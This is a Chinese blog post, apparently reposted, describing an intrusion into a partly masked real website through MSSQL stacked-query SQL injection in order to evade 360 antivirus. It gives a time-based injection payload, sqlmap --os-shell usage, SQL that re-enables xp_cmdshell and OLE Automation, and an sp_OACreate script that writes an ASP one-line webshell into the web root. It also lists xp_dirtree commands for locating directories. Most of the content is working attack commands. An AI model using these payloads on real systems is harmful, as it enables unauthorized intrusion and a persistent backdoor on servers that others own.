Mssql绕过360拿到webshell

首发:J8sec
作者:zpchcbd

0x01 站点存在注入

http://xxxxx.net/gl_trans/tran_shuke_1.aspx?id=1059

通过堆查询延迟注入,判断是dbo的权限

;if(selectIS_SRVROLEMEMBER('sysadmin'))=1WAITFOR DELAY'0:0:05'--

那么直接通过sqlmap来进行执行命令 --os-shell

发现

[18:39:23] [INFO] checking if xp_cmdshell extended procedure is available, please wait..
xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n] Y
[18:39:25] [WARNING] xp_cmdshell re-enabling failed

通过--sql-shell 来手动开启

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

执行:exec master..xp_cmdshell "whoami"

当sqlmap启动xp_cmdshell组件执行失败的时候还会尝试去开启sp_OACreate

手动执行语句为:

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'show advanced options', 0;

但是还是发现执行失败

Command standard output [0]

0x02 提权

再之前信息搜集的时候发现开放的端口有

连接下3389发现确实是有杀毒存在

所知道的利用xp_cmdshell组件 spsp_OACreate COM组件之类的进行执行命令都会被杀毒拦截 只能从别的方面下手

既然是dbo的权限那么也可以尝试通过差异备份等等的方法来绕过杀毒

这里利用的是存储过程来写文件

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:inetpubmuma.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>' 

因为这里自己已经读到了权限dbo的密码 所以是直接用navicat上直接操作

通过

execute master..xp_dirtree 'c:' //列出所有c:文件和目录,子目录 
execute master..xp_dirtree 'c:',1 //只列c:文件夹 
execute master..xp_dirtree 'c:',1,1 //列c:文件夹加文件 

来寻找目录的地址 然后通过以上的操作来写文件就可以了

后来通过同服旁站的查询发现另外一个站点上的目录上文件有报错 同样可以发现路径来尝试写到另一个站点上

高权限

2019_9_25

如若转发表明文章地址 https://www.cnblogs.com/zpchcbd/p/12167244.html

原文地址:https://www.cnblogs.com/zpchcbd/p/12167244.html